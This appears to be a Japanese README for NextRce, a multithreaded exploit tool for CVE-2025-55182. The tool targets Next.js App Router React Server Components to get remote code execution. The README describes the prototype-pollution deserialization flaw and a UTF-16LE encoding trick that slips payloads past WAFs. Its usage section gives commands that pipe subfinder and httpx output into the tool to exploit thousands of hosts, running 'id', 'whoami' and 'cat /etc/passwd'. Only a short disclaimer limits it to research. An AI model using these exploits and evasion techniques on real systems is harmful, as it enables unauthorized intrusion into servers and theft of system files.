
React Shell & Next.js RSC エクスプロイトツール (CVE-2025-55182)
child_process や execSync などのキーワードを含む標準的なペイロードは、Webアプリケーションファイアウォール(WAF)によってブロックされることがよくあります。
NextRCSWaff.py は、特殊な UTF-16LE (リトルエンディアン) エンコーディングエンジンを利用します。悪意のあるペイロードをこの特定のフォーマットでエンコードすることにより、バイトシーケンスが完全に変化し、ほとんどのシグネチャベースのWAFから不可視になります。しかし、Next.js (Node.js) サーバーは正しくデコードしてコマンドを実行します。
概念実証: 上のスクリーンショットは、標準的なペイロードがブロックされている様子(上)と、その後 --bypass フラグを付けて NextRCSWaff.py を使用したRCEの成功(下)を示しています。
NextRce は、CVE-2025-55182 を検出および悪用するために設計された、高性能でマルチスレッドのセキュリティツールです。特に、Next.js App Router アーキテクチャ内の React Server Components (RSC) 実装を標的としています。
Server Actions のシリアル化処理を操作することにより、NextRce は細工されたペイロードを注入し、脆弱なインスタンス上で リモートコード実行(RCE) を達成します。脆弱な App Router アーキテクチャと安全なレガシー Pages Router を自動的に区別するスマートな検出エンジンを備えており、大量スキャン時の効率を確保します。
window.__next_f を探す)をヒューリスティックに分析し、脆弱な App Router ターゲットとレガシー Pages Router サイトを識別します。stdin パイピングを完全サポート。subfinder、httpx、gau などの偵察ツールとシームレスに統合します。ThreadPoolExecutor により、最小限のリソースオーバーヘッドで数千のドメインを同時にスキャンできます。Next.js App Router は、React Server Components (RSC) 向けのカスタムシリアル化フォーマットを利用しています。脆弱性は Next-Action ヘッダーのデシリアル化ロジックに存在します。特に細工されたオブジェクト(__proto__ を汚染する)がサーバーアクションエンドポイント(例: /adfa)に送信されると、内部パーサーが child_process を介して任意のNode.jsコードを実行させられる可能性があります。
X-Powered-By: Next.js ヘッダーや特定のパス構造(/_next/)を確認します。window.__next_f -> 脆弱 (App Router)__NEXT_DATA__ -> 安全 (Pages Router)execSync(cmd) を強制します。stdout は base64 エンコードされ、サーバーのエラー応答の digest フィールドに返され、NextRce がこれをデコードして表示します。# リポジトリをクローン
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# ディレクトリに移動
cd NextRce
# 依存関係をインストール
pip install requests
ターゲットが脆弱に見えるが標準的なエクスプロイトがブロックされている場合にこのスクリプトを使用します。
# --bypass フラグで UTF-16LE エンコーディングを有効化
python3 NextRCSWaff.py -u https://target.com -c "whoami" --bypass
Linux パイプライン向けに設計されています。サブドメインリストをツールに直接パイプします。
# 標準スキャン
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# WAFバイパススキャン
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
標準スクリプトを使用して、カスタムコマンドで特定のエンドポイントをテストします。
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
高い並行性でファイルからURLのリストをスキャンします。
python3 nextrce.py -l targets.txt -c "whoami" -t 100
Burp Suite または他のプロキシを経由してトラフィックをルーティングし、分析します。
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
フラグ,説明,デフォルト "-u, --url","スキャンする単一ターゲットURL",None "-l, --list","URLリストを含むファイルパス",None "-c, --cmd","サーバー上で実行するコマンド",id "-t, --threads","同時スレッド数",30 "-p, --proxy","HTTPプロキシURL (例: http://127.0.0.1:8080)",None "-v, --verbose","詳細出力を有効にする (失敗した試行を表示)",False "-B, --bypass","(NextRCSWaff.py のみ) WAFをバイパスするためにUTF-16LEエンコーディングを有効にする",False
このツールは教育およびセキュリティ研究目的のみで開発されています。著者 (Mitsec) は、このツールの不正使用、損害、または無許可アクセスについて一切の責任を負いません。セキュリティテストを実行する前に、常にシステム所有者から明示的な許可を取得してください。
NextRce は Mitsec によって開発・メンテナンスされています。
Twitter/X: @ynsmroztas
GitHub: ynsmroztas